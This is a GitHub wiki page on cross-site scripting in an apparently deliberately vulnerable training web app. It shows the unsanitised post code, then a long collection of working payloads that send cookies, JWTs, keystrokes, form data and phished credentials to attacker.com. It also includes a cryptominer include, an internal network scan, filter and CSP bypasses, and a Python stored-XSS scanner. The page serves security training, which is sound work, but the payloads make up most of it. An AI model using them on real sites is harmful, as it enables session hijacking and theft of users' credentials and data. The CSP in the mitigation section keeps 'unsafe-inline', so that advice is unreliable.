Cross Site Scripting - capstone-hermes/hermes-fullstack GitHub Wiki
The Weak Website contains multiple XSS vulnerabilities due to improper input sanitization and output encoding. These vulnerabilities allow attackers to execute malicious JavaScript in users' browsers, potentially leading to session hijacking, data theft, and other client-side attacks.
- Location: Post content system
- Impact: Affects all users viewing posts
- Persistence: Malicious code stored in database
- Location: URL parameters and form inputs
- Impact: Affects users clicking malicious links
- Persistence: Temporary, requires user interaction
- Location: Client-side JavaScript processing
- Impact: Browser-based exploitation
- Persistence: No server interaction required
File: server/src/post/post.service.ts:18-22
async create(userId: number, createPostDto: CreatePostDto): Promise<Post> {
const post = new Post();
post.content = createPostDto.content; // No sanitization
post.userId = userId;
return this.postRepository.save(post);
}
File: client/src/components/PostList.tsx
// Raw HTML rendering without sanitization
<div dangerouslySetInnerHTML={{ __html: post.content }} />
<script>alert('XSS Vulnerability Found!')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<iframe src="javascript:alert('XSS')"></iframe>
<body onload=alert('XSS')>
<input type="text" onfocus=alert('XSS') autofocus>
<h1>Malicious Content</h1>
<marquee>Scrolling malicious text</marquee>
<style>body{background:red !important;}</style>
<link rel="stylesheet" href="http://attacker.com/malicious.css">
<script>
// Send cookies to attacker's server
fetch('http://attacker.com/steal.php?cookies=' + document.cookie);
</script>
<img src=x onerror="location.href='http://attacker.com/steal.php?cookies='+document.cookie">
<script>
// More sophisticated cookie theft
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://attacker.com/steal', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookies=' + encodeURIComponent(document.cookie));
</script>
<script>
// Steal JWT from localStorage
var token = localStorage.getItem('token') || sessionStorage.getItem('token');
if (token) {
fetch('http://attacker.com/steal', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({token: token, url: window.location.href})
});
}
</script>
<script>
// Log all keystrokes
document.addEventListener('keypress', function(e) {
var key = String.fromCharCode(e.which);
fetch('http://attacker.com/keylog', {
method: 'POST',
body: 'key=' + encodeURIComponent(key) + '&page=' + window.location.href
});
});
</script>
<script>
// Intercept form submissions
document.addEventListener('submit', function(e) {
var formData = new FormData(e.target);
var data = {};
for (var [key, value] of formData.entries()) {
data[key] = value;
}
// Send form data to attacker
fetch('http://attacker.com/formsteal', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(data)
});
});
</script>
<script>
// Replace page content
document.body.innerHTML = '<h1 style="color:red;">Site Compromised!</h1><p>Your data has been stolen.</p>';
</script>
<style>
/* Hide original content */
body > * { display: none !important; }
</style>
<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:black; color:red; text-align:center; padding-top:200px; z-index:9999;">
<h1>HACKED</h1>
</div>
<script>
// Fake login prompt
var fakeLogin = `
<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.8); z-index:9999;">
<div style="position:absolute; top:50%; left:50%; transform:translate(-50%,-50%); background:white; padding:20px; border-radius:5px;">
<h3>Session Expired - Please Login Again</h3>
<form id="fakeForm">
<input type="email" placeholder="Email" id="fakeEmail" required><br><br>
<input type="password" placeholder="Password" id="fakePassword" required><br><br>
<button type="submit">Login</button>
</form>
</div>
</div>`;
document.body.insertAdjacentHTML('beforeend', fakeLogin);
document.getElementById('fakeForm').addEventListener('submit', function(e) {
e.preventDefault();
var email = document.getElementById('fakeEmail').value;
var password = document.getElementById('fakePassword').value;
// Send stolen credentials
fetch('http://attacker.com/phish', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: email, password: password})
}).then(() => {
// Redirect to real login
window.location.href = '/login';
});
});
</script>
<script src="http://attacker.com/cryptominer.js"></script>
<script>
// Simple CPU-intensive mining simulation
function mine() {
var result = 0;
for (var i = 0; i < 1000000; i++) {
result += Math.random() * Math.random();
}
setTimeout(mine, 100); // Continue mining
}
mine();
</script>
<script>
// Collect user information
var userInfo = {
userAgent: navigator.userAgent,
language: navigator.language,
platform: navigator.platform,
cookieEnabled: navigator.cookieEnabled,
onLine: navigator.onLine,
url: window.location.href,
referrer: document.referrer,
timestamp: new Date().toISOString()
};
// Send to attacker
fetch('http://attacker.com/gather', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(userInfo)
});
</script>
<script>
// Scan internal network from user's browser
var ips = [];
for (var i = 1; i < 255; i++) {
ips.push('192.168.1.' + i);
ips.push('10.0.0.' + i);
}
ips.forEach(ip => {
var img = new Image();
img.onload = function() {
// Host is up
fetch('http://attacker.com/scan', {
method: 'POST',
body: 'ip=' + ip + '&status=up'
});
};
img.onerror = function() {
// Host is down or filtered
};
img.src = 'http://' + ip + ':80/favicon.ico?' + Math.random();
});
</script>
<!-- HTML entity encoding -->
<script>alert('XSS')</script>
<!-- URL encoding -->
%3Cscript%3Ealert('XSS')%3C/script%3E
<!-- Hex encoding -->
<script>alert('XSS')</script>
<!-- Mixed case -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- Alternative event handlers -->
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onpageshow=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>
<video><source onerror=alert('XSS')>
<!-- String concatenation -->
<script>eval('al'+'ert("XSS")')</script>
<!-- Unicode escape -->
<script>\u0061lert('XSS')</script>
<!-- Template literals -->
<script>alert`XSS`</script>
<!-- Function constructor -->
<script>[].constructor.constructor('alert("XSS")')();</script>
<style>
body {
background: url('javascript:alert("XSS")');
}
</style>
<div style="background:url('javascript:alert(String.fromCharCode(88,83,83))')">
<link rel="stylesheet" href="data:text/css,body{background:url('javascript:alert(\'XSS\')')}">
#!/usr/bin/env python3
import requests
import json
from urllib.parse import quote
class XSSScanner:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def login(self, email, password):
"""Login to get authentication token"""
login_data = {"email": email, "password": password}
response = self.session.post(
f"{self.base_url}/auth/login",
json=login_data
)
if response.status_code == 200:
token = response.json().get('token')
self.session.headers.update({'Authorization': f'Bearer {token}'})
return True
return False
def test_stored_xss(self, payloads):
"""Test stored XSS in posts"""
results = []
for payload in payloads:
post_data = {"content": payload}
response = self.session.post(
f"{self.base_url}/posts/create",
json=post_data
)
# Check if post was created
if response.status_code == 201:
# Fetch posts to see if payload executed
posts_response = self.session.get(f"{self.base_url}/posts/all")
if payload in posts_response.text:
results.append({
'payload': payload,
'type': 'stored',
'status': 'vulnerable'
})
return results
# XSS payloads for testing
xss_payloads = [
"<script>alert('XSS')</script>",
"<img src=x onerror=alert('XSS')>",
"<svg onload=alert('XSS')>",
"javascript:alert('XSS')",
"<iframe src='javascript:alert(\"XSS\")'></iframe>",
"<body onload=alert('XSS')>",
"<input onfocus=alert('XSS') autofocus>",
"<marquee onstart=alert('XSS')>XSS</marquee>"
]
# Run scanner
scanner = XSSScanner("http://localhost:8080")
if scanner.login("[email protected]", "password123"):
results = scanner.test_stored_xss(xss_payloads)
for result in results:
print(f"Payload: {result['payload']}")
print(f"Status: {result['status']}")
print("-" * 50)
// XSS testing from browser console
function testXSS() {
const payloads = [
"<script>console.log('XSS-1')</script>",
"<img src=x onerror=console.log('XSS-2')>",
"<svg onload=console.log('XSS-3')>",
"javascript:console.log('XSS-4')"
];
payloads.forEach((payload, index) => {
fetch('/posts/create', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Authorization': 'Bearer ' + localStorage.getItem('token')
},
body: JSON.stringify({content: payload})
}).then(response => {
console.log(`Payload ${index + 1} submitted:`, response.status);
});
});
}
// Run test
testXSS();
<!-- Visual proof without harm -->
<div style="background:red; color:white; padding:10px; border:2px solid black;">
<h3>XSS Vulnerability Demonstrated</h3>
<p>This content was injected via XSS</p>
</div>
<script>
console.log('XSS vulnerability confirmed - check console');
document.title = 'XSS Demo - ' + document.title;
</script>
<script>
// Safe demonstration payload for education
(function() {
// Create demo notification
var demo = document.createElement('div');
demo.innerHTML = `
<div style="position:fixed; top:10px; right:10px; background:#ff4444; color:white;
padding:15px; border-radius:5px; z-index:9999; font-family:Arial;">
<h4>🚨 XSS Vulnerability Detected</h4>
<p>✓ JavaScript Execution: Confirmed</p>
<p>✓ DOM Manipulation: Possible</p>
<p>✓ Data Access: Available</p>
<p>✓ Cookie Access: ${document.cookie ? 'Yes' : 'None'}</p>
<button onclick="this.parentElement.parentElement.remove()">Close</button>
</div>
`;
document.body.appendChild(demo);
// Log to console for verification
console.log('XSS Payload Executed Successfully');
console.log('Current URL:', window.location.href);
console.log('User Agent:', navigator.userAgent);
console.log('Cookies:', document.cookie);
})();
</script>
<!-- Test if CSP is present -->
<script>
if (typeof(CSP) !== 'undefined') {
console.log('CSP detected');
} else {
console.log('No CSP protection');
}
</script>
<!-- CSP bypass techniques -->
<link rel="prefetch" href="//attacker.com/log?csp_bypass">
<meta http-equiv="refresh" content="0; url=javascript:alert('CSP-Bypass')">
<!-- Double encoding -->
%253Cscript%253Ealert('XSS')%253C/script%253E
<!-- Unusual encoding -->
<scr<script>ipt>alert('XSS')</script>
<!-- Case variation -->
<ScRiPt>alert('XSS')</ScRiPt>
<!-- HTML5 entities -->
<script>alert('XSS')</script>
<script>
// Store malicious code in localStorage
localStorage.setItem('malicious_code', 'alert("Persistent XSS")');
// Hook into page load events
window.addEventListener('load', function() {
eval(localStorage.getItem('malicious_code'));
});
</script>
<script>
// Extract sensitive data from page
var sensitiveData = {
forms: Array.from(document.forms).map(form => ({
action: form.action,
method: form.method,
elements: Array.from(form.elements).map(el => ({
name: el.name,
type: el.type,
value: el.value
}))
})),
links: Array.from(document.links).map(link => link.href),
storage: {
localStorage: {...localStorage},
sessionStorage: {...sessionStorage}
}
};
// Send to attacker
fetch('http://attacker.com/exfiltrate', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(sensitiveData)
});
</script>
- Identify all input fields
- Test for reflected XSS in parameters
- Check for stored XSS in persistent data
- Look for DOM-based XSS in client code
- Test basic payloads
- Attempt filter bypasses
- Escalate to advanced exploitation
- Document successful vectors
- Demonstrate session hijacking
- Show data exfiltration capability
- Test social engineering scenarios
- Evaluate business impact
// Input sanitization
import DOMPurify from 'dompurify';
// Server-side sanitization
const sanitizedContent = DOMPurify.sanitize(userInput);
// Client-side safe rendering
function SafePost({ content }: { content: string }) {
return <div>{content}</div>; // React automatically escapes
}
// Content Security Policy
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'unsafe-inline'"
);
next();
});
Next Steps:
- Explore File Upload Attacks for server-side exploitation
- Learn about Authentication Bypass techniques
- Review Testing Methodology for systematic approaches
Related Topics:
- SQL Injection - Often combined with XSS
- Parameter Pollution - Can enable XSS bypass
- Command Injection - Server-side code execution